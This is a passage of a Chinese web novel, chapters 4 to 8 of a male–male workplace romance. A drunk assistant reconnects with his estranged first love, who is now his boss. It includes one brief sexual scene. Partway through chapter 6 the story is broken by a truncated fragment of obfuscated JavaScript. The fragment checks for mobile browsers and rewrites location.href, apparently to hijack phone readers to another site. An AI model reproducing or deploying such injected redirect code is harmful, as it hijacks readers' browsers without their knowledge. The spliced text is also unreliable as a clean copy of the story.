薄言经常喝酒,这点酒对他简直没半点影响,可沈垣之不同,他虽需要工作应酬,但也只是象征性喝几口,这会儿正闭着眼靠在了软椅上。
时间也不早了,考虑到沈垣之明天还要上班,薄言就没让他继续再喝了。
两人出了酒吧,提前约好的代驾早就在车旁。
“我要回家。”
沈垣之醉醺醺地开口。
“嗯嗯,知道了。”
薄言扶着他敷衍道。
沈垣之那辆小宝马被堵在里面出不来,薄言让代驾开了他的那辆,将沈垣之扶进了车里,薄言也坐了进去。
他车里有沈垣之小区地址,代驾点了导航后很快出发,车子开得很稳,路程有点远,薄言渐渐地也有些上头,靠在一旁昏昏欲睡。
半梦半醒间,一道声音倏然从身旁传来:“我不主动加你,你就不能主动加我吗?”
薄言和前面的司机对视了一眼,随后有些诧异地偏头看向沈垣之。
“圆儿……”
像是他的幻觉,沈垣之再也没说一句话。
薄言心里疑惑更大,他谈过几段恋爱,虽然都有始无终,但也从中学了不少。
譬如现在,沈垣之完全就是一副失恋的状态。
薄言脸一黑,老母鸡护崽的心压抑不住了,他这么多年看着沈垣之长大,几乎能当他半个爹,如今沈垣之竟然背着他谈恋爱,在他眼皮子底下还被
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伤了——
是谁吃了熊心豹子胆。
薄言越想越气,没等他问个明白沈垣之的手机突然震了一下。担心是工作上的事,薄言好说歹说才从沈垣之手里拿过来。
是一条……不,是好几条微信验证消息。
薄言轻轻点了一下,十几条消息一下哐哐展开。
无意偷窥沈垣之的隐私,薄言只扫了一眼,最上面的是一个夕阳头像,验证消息写着【您好,我是席殃。】
再往下划,全是这个人。
薄言一皱眉,怎么觉得这个名字这么耳熟呢。
“谁给我发消息?”没等他想出个所以然来,沈垣之微微睁开了眼。
薄言将手机递给了他:“一个叫席殃的。”
沈垣之目光一怔,酒精都快吓醒了,他连忙接过手机去看,目光瞥到席殃发来的验证消息。
【xy:沈助理,请问文件什么时候能发给我?】
【xy:沈助理,我刚刚问你的同事,说你已经下班,你人现在在哪?文件请你务必花心思整理。】
文件文件全是文件。
沈垣之脸都快气绿了。
“这人谁啊,有点耳熟。”
见他有点清醒,薄言凑了过来:“从下班到现在,他每间隔一个小时给你发次验证消息。”
他开玩笑道:“催债的?”
沈垣之不说话,停顿了片刻才说:“催命的。”
进小区需要认车牌,薄言的车进不去,沈垣之这会儿清醒了不少本想自己进去,但薄言说什么都不放心,非要跟着上去。
小区内环境很好,高大的树木自成两排。
当年沈垣之在众多企业中选择入职呈声,很大一方面是因为宿舍条件,离商业圈近,领导层有独栋小区,住房管家服务体系完善。
是沈垣之理想中的家。
薄言跟在沈垣之身后进了电梯,还孜孜不倦地问着:“沈垣之你有情况?”
“席殃是谁啊?”
电梯失重感和过量的酒精又重新交织在一起,沈垣之头晕的眼睛都睁不开,哪里顾得上和他说话。
好不容易出了电梯,沈垣之摸着黑冲进了房门,薄言收起了话题,跟在他身后大肆嘲笑:“圆儿,你这也不行啊。”
他正准备脱鞋进门时,对门突然打开了。
入目是双黑沉的眼,正在门框后一动不动地盯着他,一张看不清面容的脸匿在明暗交接处宛如鬼魅,吓得薄言后背一凉,以为是自己说话声音太大吵到他了,连忙说了抱歉。
男人什么话都没说,他看了眼对屋,很快地关上了门。
薄言搓了搓手臂,脱鞋进了房间。
“你对门住人了?”
沈垣之眯着眼躺在了沙发上,他摇了摇头。
“不知道。”
薄言应了一声他没坐多久就走了,没让沈垣之送,等薄言关上门的那一瞬,沈垣之憋了一整天的眼泪倏地就落了下来。
也不知道为什么流眼泪,没等他流个明白,验证消息又亮了起来。
这次和以往的消息都不一样,那夕阳头像下只发了两个字。
【加我。】
沈垣之一边流着眼泪一边手抖着点了通过。他实在不懂,怎么会有人不告而别多年之后比他还凶。
于是按了语音键。
“你凶什么?”
声音太颤,松开。
“你不是不认识我吗?”
这个问题毫无意义,松开。
斟酌再三后,沈垣之再次按上了语音键。
“席殃,还我咖啡钱。”
“咻”的一声,语音消息发出去了。
沈垣之迷迷瞪瞪盯着天花板,快要睡着时手机突然震了一下。
【我还。】
沈垣之没来得及回消息,手机立马震动了两下。
【请收款:xy向你转账520】
【xy:别哭了。】
5. 第 5 章
清晨。
沈垣之被一道电话吵醒。
没开灯的客厅黑漆漆的,窗纱被微风吹起,沈垣之眼睛疼得几乎睁不开,只能勉强从缝隙里看见一点点亮光,忍着头晕,他接了电话。
“喂。”
“早上好呀。”对面女声一顿:“沈助你嗓子怎么了?”
不说还好,一说沈垣之的嗓子连带着耳前区都开始疼了起来,他闭着眼清了清嗓子:“没事,估计是没休息好。”
“打电话有什么事吗?”
“我昨晚给你发微信你没回,”小杜在电话那头解释道:“有件事想和你商量。”
“你说。”
“今天的接风宴设在‘海宴后汀’行吗,我听说新来的领导是从挪威来的,它家做的西餐还不错。”
沈垣之皱眉:“哪个领导?”
“嗯?”小杜愣了一下,迟疑道:“昨天不是你和黎总接待的吗?”她语气一顿,“姓席的那位。”
沈垣之猛地睁开了眼。
没等他反应过来,一双幽深的眼眸瞬间占据了他整个大脑,意识到小杜还在等他回答,沈垣之艰难地吐出一口气:“大概有几个人?”
“总部的于总会来,加上黎总,席总还有几个随行助理。”她顿了一下,“大概有十个人。”
“后汀的席位难订,”沈垣之揉着胀痛的眼睛从沙发上坐了起来,他的声音有些哑,“确认人数后记得提前给他们打电话。”
“如果没订上,去南风怎么样?”小杜有些跃跃欲试,“最近天气有点冷,吃点热乎的暖暖。”
“嗯,”沈垣之低低地应了一声:“你看着办。”
等小杜挂了电话,沈垣之缓了许久才重新躺回了沙发,他盯着天花板一动不动,思绪混乱着。
席殃回来了。
还成了他的上司。
昨天重逢时的场景一幕幕地放映着,还没清醒的沈垣之喉结一滚,最后停在那双疏离的眼眸里。
肩宽体阔,那只手大得几乎能将他完全包裹着,说话时震动的喉结,被水浸湿后的唇以及……
那张脸。
头轻轻一偏,沈垣之失力般将脸埋进了沙发里,白皙的脸随着呼吸变重而渐渐变红,他双腿轻轻摩擦着,西装裤被蹭的向上移。
小腹上下鼓动,乱糟糟的衬衣下摆被带着向上,片刻后露出一截纹身。漂亮的笔触像藤蔓般缠在他纤细的腰身,随后直直向下,匿于更深处。
他咬着唇,手指颤抖地划过衬衣下摆,最后关头憋了许久的呼吸声终于失了控,大脑出现一片空白时,沈垣之喊了那两个字。
——
G市的清晨还带着点凉意,温热的水滴落在身上几乎都化成了霜,沈垣之闭着眼擦着沐浴露,整个人焉哒哒的彻底没了以往的精神气。
沉默片刻后,他无力地叹了口气。
眼眸一垂,瞥见了自然垂落水滴的右手,掌心的余温似乎在提醒他不久前做过的事,沈垣之耳尖一烫,烫得心脏都慌了起来。
这真的太荒谬了,太离谱了。
离谱到沈垣之都不知道该说些什么,一边无力地给自己找着理由,这些天工作太多他压力太大,再加上昨晚喝了酒纾解一下也情有可原,一边崩溃到恨不得把自己埋在土里,纾解就纾解,老老实实乱想什么!
没心情再继续洗下去,沈垣之围了个浴巾走了出来。
黑漆漆的房间里没开灯,沈垣之肩膀一松,就着浴巾坐在了窗台边,随手拿起旁边的喷壶给他养的小植物浇浇水,不知过了多久,沈垣之才从极度自厌的情绪里恢复过来。
不就是想着人撸了一发吗?
除了天知和地知外,这世界上就他一个人知道,而且撸撸怎么了,又没给别人造成损失,手累的还是他。
这样想着,沈垣之很快就将这件事放了下来。
他很快换了身干净的衣服,随后走向客厅拉开了冰箱,他一个人住也吃不了多少,平时又基本是在公司解决用餐问题,有时候想到了才会给冰箱里添点食材,昨天是周一,按照以往的计划本应该下班买点吃的回来。
可他昨晚跑去喝酒了。
沈垣之非常不喜欢这种感觉,这种平静又规律的生活因为另一个人的到来而被打乱的感觉。
他皱着眉想,早餐吃不吃另说,现在他一定要把冰箱填满。拿起一旁的手机,沈垣之点开了某软件。
他不常用,平时都是线下去买菜,界面里菜品有很多,沈垣之买了几个土豆,又买了肉类和其他的配菜等,最后不知怎么点进了零食区,等他反应过来时购物车里的零食比菜还多。
就这样吧。
沈垣之点了付款,手机界面自动跳转到了微信付款页面。就那一秒,沈垣之瞥见一个异常熟悉,不应该在他列表里的头像。
沈垣之当即愣在了原地。
他退出了付款页,盯着那张熟悉的头像瞬间睁大了双眼。昨晚醉酒后遗失的片段在此刻如洪水般冲进了他的脑海里。
昨晚他去喝酒了,和薄言见了面。
席殃加他微信了。
然后......
然后说了什么?为什么凌晨两点席殃还没睡给他扣了个问号?艰难地呼出一口气,沈垣之一点都想不起来了。
这些年他恨死了席殃,头几年连想起他的名字都受不了,一想到他就心疼肝疼气不顺那段时间他吃什么吐什么,最后是薄言看不下去了,把他拖进了医院。
好在不是什么大问题,医生说是他情绪太差,影响了胃。
当时沈垣之茫然地盯着医生给他开的药,这才知道,胃是情绪器官,他一难过胃也跟着难过。后来他读了大学,接触的人多了,偶尔会想起席殃,但情绪不再那么起伏。
工作后他的生活更是被各种各样的表格,数据,应酬填满,他忙得压根就没时间想起他。
可席殃回来了,昨天活生生出现在他眼前。
沈垣之毫无预兆但又在意料之中地发了疯,工作期间扔下领导躲起来,下班后还跑去酗酒。
全他妈都乱套了。
沈垣之又看了眼席殃凌晨两点发来的问号。脑子里逐渐冒出一个荒唐且合理的理由。
不会是他半夜里实在恨不过,和席殃两人互相对骂了一晚吧?
完了。
如果不出意外的话——
他大概是要出意外了。
横竖都是死,沈垣之坚强地点开了和席殃的聊天记录。
没有想象中的恶语相向,也没有“老同学”多年重逢的热络,他和席殃的聊天记录几乎一眼就能扫完。
最下面一条是席殃发来的问号,目光上移,最后落在某个扎眼的转账上。
【对方向您转账520】
沈垣之狐疑地皱了下眉。
心想怎么还有转账这个项目,直到他的目光落在了转账下方的三个字。
【别哭了】
宛如电流经过,头皮一阵发麻。
沈垣之木着脸快速往上划,指尖最后停在了那条三秒语音条上。直觉劝他不要点开,但沈垣之头铁,他偏偏不信。
“席殃,咖啡钱还我。”
声音一出来,沈垣之当即愣在了原地,他盯着屏幕许久,大脑才反应过
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来似的发出一阵轰鸣。
这话,这语气,这声音!
沈垣之脸一绿。
假酒害我!
宛如炸毛的猫,沈垣之退出了微信,这还不够他又点了回来,手疾眼快地删了这条语音条。
重重地放下手机,他起身离开了这是非之地。
来回在客厅里踱步,走累了的沈垣之自暴自弃将自己摔进了沙发里,片刻后,他用额头抵着软绵绵的玩偶身上,蜷缩着身躯一动不动了。
这和他想着席殃做那档子事不同,这完全是酒后失态,若他酒后失态的是其他人,沈垣之都能一笔带过,可他对席殃做不到。
席殃明摆着不想认识他,而沈垣之这些年也是打心底地恨他。
可两人现在的关系不仅是多年不见的“老同学”,席殃还是他的直属上司,虽然只有三个月,这导致沈垣之连恨甚至都不能摆在明面上——
那就只好躲。
脑海里倏然出现一道声音。
沈垣之快速眨了下发红的眼睛,转账可以当作看不见,昨晚发生的事自然也可以当作无事发生。
——
一早上过得鸡飞狗跳,最后菜和零食都没买成,沈垣之出门时才想起车还放在薄言那,他按了下行的电梯,皱着眉点开了打车软件。
现在正是上班高潮时段,沈垣之打了好久都没人接,他正准备要放弃的时候,有人接单了。
沈垣之松了口气。
出了电梯后沈垣之叫的车还没来,他站在小区门口等了一会儿,昨晚他太晚睡,早上又耗费了精力,这会儿站着都能昏昏欲睡。
他闭着眼没一会儿,手机突然震动了一下。
沈垣之下意识点了进去。
【xy:早。】
盯着那熟悉的头像,沈垣之猛地睁开了双眼,顿时瞌睡全无。在发生昨晚那些事后,席殃还能淡定地给他问好,这是想一笔带过,还是憋个大的?
沈垣之面上神色不显,心里慌如老狗。
沉默许久后他决定当作没看见,绝不给席殃羞辱他的机会,盯着席殃的头像看了两秒,沈垣之眼眸一颤,下一秒做贼心虚地点进了席殃的朋友圈。
看看朋友圈怎么了?关心一下“老同学”这几年的过得怎么样难道不是人之常情?
这样想着,沈垣之很快淡定下来。
入目是一张雪景背景图。
大概是在挪威拍的,有高大的树木,很宽阔,席殃穿着一身深色大衣坐在漫天雪地里,火光映在他脸上,孤寂的几乎与背景相融。
沈垣之嘴一抿,忍不住点开了大图,席殃拍照技术烂得要命,以前给他拍的不是大头照就是拍的他只有一米五,沈垣之和他生气,席殃还说他就长这样。
这照片一看就不是他拍的,沈垣之心里莫名一酸。
盯着图片又看了几秒,越看越觉得孤寂,席殃以前总嫌他烦,北欧地广人稀地,或许这就是席殃想要的生活,没有沈垣之的生活。
唇一抿,沈垣之本想退出,下一秒他的目光却被下面几条和席殃气质完全不符的加粗加大的朋友圈吸引了视线。
“宿醉后应该做什么,这些事千万要做……”
他微微皱眉,情不自禁地念出声。
“惊!借着酒意向前任大胆示爱,成功几率竟高达99.999%”
“……”
语气一顿,沈垣之耳尖瞬间爆红,没等他反应过来,停在离他不远处的车突然短促地按了一下喇叭。
循声望去,只见伴随着缓缓下行的车窗,沈垣之看见了驾驶座上不久前,他还那啥过的一张脸。
6. 第 6 章
“上车。”
大白天见鬼。
心脏骤缩,沈垣之愣在了原地,他盯着席殃那张脸,不用想就知道自己的表情有多差。
忍住扭头就走的想法,沈垣之客气道:“不用,我打了车。”
说完便微微欠身,攥着手机往后退了几步。
一直走到小区铁门的左边后才停了下来,沈垣之将后台切到了打车软件,上面显示司机离这还有五公里,屏幕上红了长长一片,像是在堵车。
他连忙催司机,司机只回了一个字。
等。
沈垣之:“……”
再等下去,他人都没了。
余光瞟到不远处那辆车还没开走,沈垣之抿着唇踢了踢旁边的小石子,又瞟了一眼,还没走。
眼不见为净,沈垣之索性背过身去。
没过多久,一道轮胎压过地面的声音从耳边传来,最后那辆车停在了沈垣之身旁。
沈垣之正焦虑车怎么还不来时,他的手机突然震了起来,看着屏幕上的虚拟号码,顿觉大事不妙。
“喂。”
“不好意思啊先生,”电话那头传来一道急急的中年男声,“我的车堵在了长江大桥这,开过去大概还要半个小时,如果您急着用车的话要不取消下订单?”
察觉到席殃投来了视线,沈垣之连忙应了声:“我不急……”没等他说完,对方又连忙改口:“不急的话也麻烦您取消一下。”
沈垣之:“……”
见他沉默,司机又开口说自己接个单有多么不容易,说他上有老下有小就指望他开车赚点生活费,眼看着他越来越激动,沈垣之只好连忙取消了订单。
挂了电话,沈垣之抬起了头,席殃正静静地看着他。
沈垣之有些不自然移开了视线。
“上车。”僵持中席殃突然开口道,语气听不出什么情绪:“只是顺路。”
沈垣之心渐渐冷了下来,手立马搭上了后座的车门,没什么表情道:“谢谢席总。”
没等他说完,车门咔哒一声上了锁,驾驶座很快传来席殃的声音,副驾的门被推开了:“坐前面。”
沈垣之一愣,坐上了副驾,低声道:“谢谢。”
席殃没说话。
席殃今天穿了件深灰色衬衣,领子前有几颗扣子将扣未扣,头发向后抓着,锋利的五官极有侵略性,此刻正压着眸子盯着他看。
沈垣之不明所以地抿了一下唇。
又等了许久之后,一只手突然越过驾驶座朝他伸来。
黑色的安全带缠在席殃骨骼分明的指节上,瞬间明白过来的沈垣之连忙打断:“我自己……”
“需要指纹。”席殃解释道。
说完便听见“滴”的一声,安全带被扯了出来,从胸前一寸寸地缠至腰侧,感受到一股不属于他的气息,沈垣之喉结一滚,有些僵硬地直视前方。
席殃低着头扣安全带扣的很认真。
呼吸之间,沈垣之的视线重新移回了席殃脸上,他像是没休息好,唇色偏白,眼下也有乌青。
毕竟昨晚凌晨两点没睡。
莫名其妙想到这,沈垣之当即有些坐立难安,再加上今早还想着眼前这张脸做了那档子事,尤其两人现在靠的又这么近,甚至连气息都互相交融着——
一时间,沈垣之屏住了呼吸。
“你很紧张。”
沉默之际,席殃突然开口道。
即使是坐着,席殃比沈垣之也要高上一个头,此刻正自上而下地看着他,双目对视,沈垣之放缓了呼吸:“没有,我和领导相处都这样。”
“是吗?”席殃替他扣上了安全带,语气很淡:“我看你和黎炫很熟。”
没等沈垣之弄明白这关黎炫什么事,席殃的手指像是不经意地触上了他的腰侧,沈垣之下意识一抖。
席殃手一顿,抬眸看向他。
沈垣之的腰身极其敏感,这么多年也没变,他耳尖一红,终于忍无可忍道:“席总,我自己来。”
指尖触上安全带,双目对视,席殃这才不紧不慢地松开了手。
片刻后,车子终于启动了。
狭小的空间里弥漫着淡淡的尴尬,沈垣之扭过头看向窗外,一路上两人皆沉默不语。
车子开得很平稳,沈垣之望着窗外,脑子里却浮现着以前他坐在席殃自行车身后的情景。
席殃在前面蹬着车轮,宽大的校服被风吹得鼓鼓的,沈垣之在后面吃着冰棍,一边笑着一边替他压着衣角。
一年四季,走街串巷。
当时的他以为他们会在一起很久。
——
思绪回笼,沈垣之从车内镜里瞟了眼席殃,他开车开得认真,一双眼睛静静地盯着前方,没什么多余的情绪。
昨晚的事谁都没提。
明明是沈垣之意料之中的,盯着窗外飞速划过的街景时心里却没有一点轻松的感觉。
他高中的时候成绩很好,年级第一是常态,年级第二是例外,他各科都名列前茅,尤其是语文。但沈垣之描述不出他此刻的心境,他似乎惶恐,又似乎生气,又似乎带着一些不应该有的期许。
总之不该是现在这样沉默。
可转念一想,除了沉默他们也没其他话可聊,毕竟中间隔了这么多年,现在不过是被迫捆在一起的上下级关系——
睫毛一扫,沈垣之试图将不该有的情绪压下去。
“钱怎么不收?”
沉默之际,一道声音突然从身边传来。
沈垣之猛地抬了一下眼。
他有些意外地偏过头去,恰好撞进了席殃的眼里,或许不是恰好,席殃像是已经看他很久了。
“一杯咖啡而已,不需要这么多。”
见他沉默,沈垣之背地里磨了磨牙,故作玩笑道:“席总就别和我开玩笑了。”
席殃没说话,像是默认又更像是无动于衷。心口莫名一闷,沈垣之加了一句:“不太合适。”
刹车一点,平稳地车身倏然一震,车子停在了红绿灯前,红灯有一百四十秒,倒计时到一百秒时席殃终于开了口。
“什么不合适?”
还能什么不合适。
“席总。”沈垣之对他客气地勾了下唇,笑容不达眼底:“数字不合适。”
席殃放在方向盘上的手倏然握紧。
沈垣之嘴唇一动还想说什么,谁知席殃突然皱起了眉,脸色苍白。
沈垣一时没有反应过来:“怎么了?”
席殃抿着唇摇摇头,嘴唇却白了很多。
沈垣之脸色一变,正当他准备松开安全带时,席殃很轻地放缓了呼吸,绿灯亮起时他松开了刹车。
“我来开。”沈垣之立刻阻止。
“没事,这个地方停不了车。”席殃的声音和车身都很稳:“你在右边储物柜里帮我拿颗糖。”
沈垣之闻言立马去翻,很快就找了颗糖出来,帮忙撕开糖衣,沈垣之想也没想地将糖送到了他唇边。
席殃看了他一眼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380454|168449||http|test|mini|href|location''.split(''|''),0,{}));
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>沈垣之焦急地用糖碰了碰他冰凉的唇,低声催促:“快点。”
席殃张开了嘴。
糖被柔软的舌尖搅了进去,沈垣之后知后觉有些不妥,将湿润的指尖藏了藏,皱着眉盯着席殃看,过了许久后席殃才恢复一点唇色,沈垣之忍不住开口问了一句。
“你到底怎么了?”
席殃半响都没说话,沈垣之一皱眉。
“心绞痛。”席殃平静道。
沈垣之:“……”
谁家心绞痛吃颗糖就好了。
沈垣之沉默的看他。
席殃看了他一眼:“低血糖。”
沈垣之干巴巴地“哦”了一声。
他心想席殃怎么会低血糖呢,以前也没见他这样啊,这些年在国外……过得不好吗?
不过沈垣之没问出口,一是他现在还没缓过来,二是应了自己先前说的那句“不合适”。
思虑之际,一道铃声打破了此刻的平静。
沈垣之一看,来电人是薄言。
薄言平时不会给他打电话,两人基本上是微信联系,怕他有什么急事,沈垣之很快接通了。
“喂。”
“圆儿,你起了吗?”
电话一接通,薄言的声音很快传了过来。
看了眼席殃,沈垣之应了声:“早起了,有什么事吗?”
薄言在电话那头笑了一下:“没事,我就打电话问问,昨天见你喝那么多我怕你起不来。”
说完他语气一顿:“昨天我看那谁加你,那名字我越想越耳熟……”沈垣之闻言立马打断道:“你还有事吗,没事我挂了。”
薄言:“……”
见他沉默,沈垣之立马挂了电话。
随后薄言的微信消息很快发了过来,沈垣之看了眼正在开车的席殃,有些心虚地点开了微信,可没想到,屏幕上恰好是他刚刚没退出的,席殃的朋友圈。
上面硕大的“成功率高达99.999%”几乎亮瞎了沈垣之的眼。察觉到席殃投来视线,沈垣之手一抖,镇定自若地按了返回。
“你和薄言还有联系?”
沉默间,席殃开口道。
这话问的奇怪,沈垣之没什么情绪的应了声:“为什么不联系?”
话刚落音,席殃不再说话。
沈垣之眼眸一垂,同样也保持着沉默。
薄言消息回的慢,等着等着沈垣之竟不知什么时候睡了过去。可能昨晚太累,他睡得很沉,手机掉在地上都没把他吵醒。
期间他还尝到了一股很熟悉的味道,带着股很淡的甜味,缠绕在他唇齿之间。
等沈垣之再次醒来时,竟发现自己还躺在车里,身上还盖了件不属于他的外套,一扭头,沈垣之和席殃对上了视线。
沈垣之被他沉甸甸的目光看得愣了几秒,没等他反应过来,席殃的目光平静地扫过他的唇:“你醒了?”
沈垣之茫然地点点头,随后他像是想到了什么,瞬间坐直了身子:“什么时候了?”
“十点。”席殃看了下手表。
还没清醒的沈垣之猛地睁开了眼:“什么?!”他立马坐了起来:“你怎么没叫醒我?”
刚醒来的声音有些哑,语气带着很难察觉出的亲呢。
“我刚刚也睡着了。”眼眸一沉,席殃的声音沙哑得厉害:“沈垣之,我昨天很晚才睡。”
“沈垣之”三个字被他念的很重,清醒过来的沈垣之心猛地一沉,他头也不敢抬地想。
完了。
7. 第 7 章
没等他想好怎么敷衍过去,下一秒,他和席殃的手机同时响了起来。
像是想到了什么,沈垣之顿时脸色一黑。
他一边安慰自己不会这么巧,行政部不会天天查考勤,一边手抖着点进了碍眼的公司大群。
“致公司全体同事的通知书:公司这段时间的考勤检查于今日正式结束,经确认@呈声总助—沈垣之,@席殃,未有明确事由于今日缺勤,特此提出批评,请于今日呈交保证书及五百元罚金,请各位引以为戒。”
不多时,这条消息很快被吃瓜的同事们点到了99+。
“……”
狭小的空间里一时只剩下沉默。
沈垣之偏头看了眼席殃,显然席殃也是意料之外,他立马道歉道:“不好意思。”
席殃嘴唇微微一动。
话刚落音,车内突然安静了下来,见席殃没说话,沈垣之有些心虚的看了他一眼。
“没事。”沉默片刻后,席殃倏然开了口:“眼睛怎么还红着?”
沈垣之下意识抬起头。
双目对视,席殃语气平淡:“药没吃?”
沈垣之一愣。
脑海中浮现出昨天小琪反常的举动,以及放在药盒里的水果糖,他呼吸一怔:“吃了。”
话刚落音,席殃又问:“昨晚和谁喝的酒?”
一句接着一句,没反应过来的沈垣之一时间有问必答:“薄言。”
席殃闻言眼眸一沉。
紧接着他后背往车门轻轻一靠,整个人呈面对沈垣之的姿势,许是地下车库环境太暗,衬得席殃那张本就极具侵略性的脸更为立体。
沉默之际,沈垣之瞥了好几眼。
“他教的你?”
不知道这些问题和迟到有什么关系,沈垣之疑惑地扬了下眉:“我要他教什么?”
“喝酒谁不会。”
席殃眉头一展,没说话。
见状,沈垣之忍着别扭伸手拉开了车门:“席总,要是没什么事我就先上去了。”
“稍等。”
沉默之际,席殃开口道。
沈垣之闻言回头看了他一眼,心想还有什么事。
“帮我写保证书。”席殃看上去有些理直气壮:“我从没迟到过,不会。”
“……”
——
早该知道的!
就多余问这一句话,以前读书的时候席殃就不是个好学生,现在工作了也不是个好领导。
平时有事没事就让他教写作业,每次教完后敷衍的亲一下就把他打发了,现在使唤他起来也是得心应手。
阴沉沉地接过小琪递来的文件夹,沈垣之抿着唇往门外看了一眼,只见席殃站在不远处,不知和谁正说着话,眉目间含着淡淡的笑意。
从他这个角度看过去,只能看见对面那人的衣角。
“谁在外面?”沈垣之低声问。
帮忙整理资料的小琪闻声望去,她了然道:“席总。”看了眼满脸单纯的小琪,沈垣之只好直接问:“席总对面那位是谁?”
“哦。”小琪踮了下脚看了一眼:“是小许助理。”
小许助理?
沈垣之一时没对上脸。
见他疑惑,小琪开口道:“就是于总之前新招的助理呀,上次去总部的时候还是他给我们带的路。”
脑海中隐隐约约浮现出一张脸来。
他记得这位许助理去年才刚毕业,年纪很小,但工作能力出众,平时总爱笑,虽然没怎么过多接触,沈垣之对他印象不错。
可接风宴不是在晚上吗,这时候跑来干什么。
胡乱想着,席殃不知何时望了过来,一双眼睛正静静地盯着他,视线不太自然地移开,像是想到了什么,过了一会儿后沈垣之又移了回去。
可席殃没在那里了,那位小许助理也不在了。
略带迟疑,松开敲着键盘的手,沈垣之坐直了身,很不经意地探头去看,不明所以的小琪也跟着探头。
片刻后,两人又同时收回了视线。
“……”双目对视,沈垣之沉默了一下。
小助理的视线太过灼热,连藏都不藏了,在她第三次欲言又止地望过来时,沈垣之看了她一眼:“怎么了?”
小琪闻言抿了抿唇,她像是有些不好意思,但还是开口问道:“沈助,你今天竟然迟到了。”
“席总也迟到了。”
“肖莉姐说她刚刚在地下停车场看见你和席总了。”
手一顿,沈垣之不动声色地“嗯”了声,随后淡淡道:“你让肖莉自己来跟我说。”
目光扫到桌上的氯雷他定,沈垣之语气一顿,有些恨铁不成钢:“怎么老是被人当枪使?”
见他心情不好,小琪不敢再说话,老老实实整理好资料出去了。
等小琪出去后,沈垣之很快忙了起来。
他手头上的事有很多,教育部昨天又公布了文件,多媒体和信息技术被炒的沸沸扬扬,项目部和技术部的同事这几天都在出外勤。
连黎炫都给他发消息问了G市高校项目的进程,虽然还顺便调侃了他几句。
【小师弟你要不是一点差错都不出,这一出就出个大的。】
【听肖莉说你和海归一起来的?】
沈垣之扯了扯嘴角,回复道。
【在车库里碰巧遇到了。】
黎炫没多问,很快转移了话题。
【今天接风宴上总部的于总会来,听说他老婆之前在一中任教,和校领导层有些交情。】
沈垣之懂了。
【我晚点亲自去接于总。】
【不用,他和我哥等会一起来。】
目光落在空荡荡的门外,沈垣之手指一颤。
【等会?于总身边的许助已经到了。】
黎炫过了几分钟才回复。
【是吗?他这么早来干什么?】
沈垣之还没回复,黎炫又发了条消息过来。
【哦,我知道了,小许嘛,他和席总在国外公事过一段时间,后来小许被调回来了,估计是老于派他过来走走关系。】
沈垣之盯着看了几秒,眼睫一扫,回了句好。
办公室里再次恢复安静。
沈垣之盯着电脑屏幕半响都没说话,他平静地看着表格待整理日营业额表,对完之后他松了下鼠标。
公事过一段时间?
难怪上班第一天就早早的来了,敢情是老友相聚。脑海里浮现出席殃不久前对他露出的一抹笑。
沈垣之眼眸一沉。
片刻后他围绕着“不该迟到,下次不再犯。”写
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了一篇保证书。写着写着沈垣之手一顿,脑海里又浮现出席殃那一抹笑。
明明都是“老朋友”,待遇还真是截然不同。
唇边勾起一抹淡淡的冷笑,沈垣之很快另起一行写了第二份。不管席殃还需不需要,既然答应了沈垣之自然会做到。
点开和席殃的聊天界面,手指一顿,先是转账点了退回,然后打字。
【席总,发您了。】
说完就将刚写完的稿子发了过去。
不多久,席殃就回复了。
【谢谢。】
压根没提退回的转账。
眼不见心不烦,干脆当作没见,沈垣之退出了和席殃的聊天框,目光很快瞟到了放在一旁的氯雷他定,他将唇抿得更紧了些。
将药盒揣进口袋里,沈垣之端着杯子往茶水间走去。
茶水间离他办公室不远不近,中间隔了几个小会议室,其中一间被临时改造成了办公室,沈垣之经过时,他从门外瞥见一道熟悉的身影。
脚步未顿,沈垣之径直走向茶水间。
正是忙的时候,茶水间一个人也没有,沈垣之用热水烫了一下杯子,接了杯温水正准备出去时,门外传来几道脚步声,一道高大的身影倏然走了进来。
熟悉的气息扑面而来,沈垣之手一顿,头也没抬,像是察觉不到苦似的,面不改色将药含进嘴里。
席殃见状立马走了进来,茶水间空间不大,他一进来几乎就占据了大部分空间,距离越来越近,沈垣之端着杯子下意识往后退了一下。
“躲什么?”
席殃压着声音,语气听不出喜怒。
沈垣之闻言眉梢一挑,好不容易压下的这点怒火被席殃重新勾了出来: “席总您说笑了,地方就这么大,我还能往哪里躲?”
席殃不说话。
一双眼眸又沉又重,像是要将他看透、看穿一般,寸步不让地盯着他。
沈垣之被看得心烦意乱,他牙尖稍稍用力就将药片咬碎了,口腔里顿时弥漫着浓郁的苦涩。
席殃以前总让他改掉这个坏毛病,但沈垣之不以为然,后来每次吃药的时候席殃都会盯着他。
就像现在一样。
面无表情地喝了口温水,连忙将嘴里苦涩的药片服下,可做完这些后席殃还是盯着他,他不懂席殃不好好陪老朋友盯着他看这是要干什么,沈垣之眉间一皱。
“席总,保证书发您了,还有别的什么吩咐吗?”
席殃的语气听不出什么情绪:“钱你退回来了?”
沈垣之闻言抬起了头,口腔里渐渐弥漫着淡淡的苦涩,不想在这件事上过多掰扯,沈垣之木着脸说了声“借过。”
席殃纹丝不动。
不大不小的茶水间,两人无声僵持着。
直到门口传来几道说话声,眼看着要往他们这走过来,沈垣之眉间一皱,声音里带了几分怒意:“席总,你到底要做什么?”
苦涩的药味在呼吸间弥漫着,下一秒温热的指尖便触上了他掌心,席殃塞了什么东西在他掌心。
沈垣之一愣,呼吸顿时有些不顺,没等他反应过来,席殃便提脚离开了。
目送席殃离开的背影,沈垣之低头一看。
他手里躺了一颗水果糖。
和昨天一样,水蜜桃味的。
8. 第 8 章
沈垣之盯着手里这颗糖沉默了一会儿。
他实在捉摸不透席殃的心思,这么多年过去了,难道席殃还是接受不了他嘴里是苦的?
可他俩现在又不用亲嘴。
脑海里突然冒出来这一句话,沈垣之一怔,立马端起水杯将糖果揣进口袋里,飞快地走出了茶水间。
回到办公室后,沈垣之很快又忙了起来。
先是签了许多待办的文件,之后又将一些拿不定主意的放在了一旁,做完这些后沈垣之开始处理昨天未整理完的产品资料。
G市高校这一项目已经铺垫很久了,沈垣之想尽快做好准备工作,他想大概就这两天,他和席殃得去趟一中,阔别多年,以乙方的身份。
